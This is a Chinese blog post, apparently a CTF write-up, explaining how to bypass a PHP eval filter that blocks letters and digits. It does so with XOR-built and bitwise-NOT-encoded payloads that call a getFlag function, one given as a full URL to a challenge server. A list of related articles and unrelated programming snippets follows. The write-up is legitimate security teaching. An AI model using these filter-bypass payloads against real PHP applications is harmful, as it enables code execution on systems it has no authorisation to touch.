getshell不用英文字母和数字

上代码

实际代码没有echo strlen($code);我测试的时候加上去的

思路是eval执行getFlag函数。  

过滤了字母和数字,长度得小于40

直接看payload吧:

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag  

这里给大家说说我的疑惑:

①$_是什么玩意?  _是变量的名字。这句话的意思是定义了个变量,名字叫做_(你想问为什么起个这么别扭的名字那就去搜一下php变量命名规则)
②"`{{{"^"?<>/"实际是代表了双引号里面四个值对应异或,异或后的结果是_GET
③${$_}[_](${$_}[__]),按照$_是_GET拼接就好了。$_GET[_]($_GET(__))
④不是说过滤了英文字母了吗?为什么后边还有getFlag。&是传递参数是的分割符,code确实是过滤了英文字符,但是&_=getFlag中_是变量,他并没有过滤。
⑤他是怎么执行的?
@eval($_=_GET;$_GET[_]($_GET(__));&_=getFlag);
这个代码可以直接看做
@eval($_GET[_]($_GET(__));&_=getFlag);
进一步变为
@eval(getFlag($_GET(__)););   

我现在不明白getFlag()括号里的$_GET(__)有什么用,我直接去掉()里面的也可以成功的得到flag,最起码在这道题目里面并没有要求传递参数。

这个payload太麻烦了,看下一个

${"`{{{"^"?<>/"}['_']();&_=getFlag
感觉这个很妙很简单。  

这里贴一下不用下划线的

http://39.105.116.195/flag1/?code=${"`{{{"^"?<>/"}['%2b']();&%2b=getFlag
 这里的%2b就是代表着一个形式上的名字,只要不是控制字符就好,你看这里的+我就给他先编码成%2b了,不然会被当作控制字符,其他的还有很多,我觉得只要是进行了url编码的差不多都可以(都会被当做一个普通字符)。  

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();
说下这个,对getFlag取反后url编码,为啥取反,即使你url编码后,浏览器也会进行解析,所以还是绕不过字母限制,你看下这几个url编码,解码后并没有字母,基本都是不可打印字符,所以成功的绕过了字母。用的时候先去反然后url解码就可以成功的得到getFlag(),真狠啊

getshell不用英文数字 或者不用下划线的更多相关文章

  1. 为什么Java7开始在数字中使用下划线

    JDK1.7的发布已经介绍了一些有用的特征,尽管大部分都是一些语法糖,但仍然极大地提高了代码的可读性和质量.其中的一个特征是介绍字面常量数字的下划线.从Java7开始,你就可以在你的Java代码里把长 ...

  2. java只允许输入数字字母下划线中文

    public static void main(String[] args) { Pattern pattern = Pattern.compile("[_0-9a-z]+"); ...

  3. 安恒杯月赛 babypass getshell不用英文字母和数字

    BABYBYPASS 先贴代码: ①限制字符长度35个 ②不能使用英文字母和数字和 _ $ 最后提示有个getFlag()函数,从这个函数入手. 我们的第一思路是直接eval执行getFlag函数,但 ...

  4. 涨姿势:抛弃字母、数字和下划线写SHELL

    PHP中异或 (^) 的概念 <?php echo"A"^"?";?> <?php echo"A"^"?&quo ...

  5. perl6正则 2: 字母,数字,空格,下划线, 字符集

    数字, 字母, 下划线 在perl6中, 如果是 数字, 字母, 下划线, 在正则里可以正接写上. > so / True > so 'perl6_' ~~ /_/ True > 非 ...

  6. 一个正则表达式,只含有汉字、数字、字母、下划线,下划线位置不限【Z】

    1.一个正则表达式,只含有汉字.数字.字母.下划线不能以下划线开头和结尾: ^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$ 其中: ^ 与字符串开始的地方匹配 ( ...

  7. ASP.NET C# 登陆窗体 限制用户名只输入字母 数字以及下划线

    文本框的输入限制,我们主要集中两个问题: 一.怎样限制用户名输入的长度? 答:设置txtName的属性 MaxLength="; (我们这里以10个字符为例) 二.怎样限制用户名只输入字母 ...

  8. Swift - 使用下划线(_)来分隔数值中的数字

    为了增强较大数值的可读性,Swift语言增加了下划线(_)来分隔数值中的数字. 不管是整数,还是浮点数,都可以使用下划线来分隔数字. 1 2 3 4 //数值可读性 let value1 = 10_0 ...

  9. js正则表达式只能是数字、字母或下划线

    //只能是数字.字母或下划线 function isValid(str) { var reg = /^\w+$/g; return reg.test(str); }

随机推荐

  1. Angular CLI的简单使用(2)

    刚才创建了myApp这个项目,看一下这个项目的文件结构.    项目文件概览 Angular CLI项目是做快速试验和开发企业解决方案的基础. 你首先要看的文件是README.md. 它提供了一些如何 ...

  2. Android list加载图片工具类

    总体思路 Handler + looper + message 核心类 package com.base.imagechoose.util; import android.graphics.Bitma ...

  3. 判断一个点是否在多边形区域内--C算法

    /*函数的输入:(1)当前点的坐标p(2)区域顶点数组pt[]:(3)顶点数nCount 输出: 在区域内返回TRUE,否则返回FALSE.  Point类型是一个结构: struct Point { ...

  4. 如何在InstallShield的MSI工程中调用Merge Module的Custom Action

    使用InstallShield创建了合并模块安装程序,定义自定义活动,可如何调用却不太清楚,网上也就找到这点信息,还是没有成功,到底该在什么地方执行合并模块的自定义活动? http://1662487 ...

  5. 关于前端的交互 ajax

    对于交互来说,可以利用原生的javascript和jquery 这篇说的就是jquery 1 不是跨域的 利用$ajax({})这个函数实现的 $.ajax({ url: "", ...

  6. 往ABAP gateway system上和Cloud Foundry上部署HTML5应用

    ABAP Gateway system 在我的公众号文章里有详细介绍:SAP Fiori应用的三种部署方式 用WebIDE部署 用Eclipse Team provider部署 执行report /U ...

  7. NYOJ-596-谁是最好的Coder

    原题链接 谁是最好的Coder 时间限制:1000 ms  |  内存限制:65535 KB 难度:0 描述 计科班有很多Coder,帅帅想知道自己是不是综合实力最强的coder. 帅帅喜欢帅,所以他 ...

  8. edge不能上网-代码 INET_E_RESOURCE_NOT_FOUND

    这个问题 ,网上有很多解决方法,我基本都测试了一遍,可是我都没有用 情况:首先,我开始的时候是可以用的,然后在公司,开了代理,就不能使用了,这是我之后多次尝试发现的,所以你也遇到和我一样的情况不必惊慌 ...

  9. C++手写快读详解(快速读入数字)

    众所周知,C++里是自带读入的(这不废话吗) 例如: int a; cin>>a; 这样的读入理解简单,适合初学者,但是非常慢. 再例如: int a; scanf("%d&qu ...

  10. cout对象一些常用方法的总结

    cout.precision(n); 这个方法的功能是,设置精度为n,返还值是上一次的设置精度. #include <iostream> using namespace std; int ...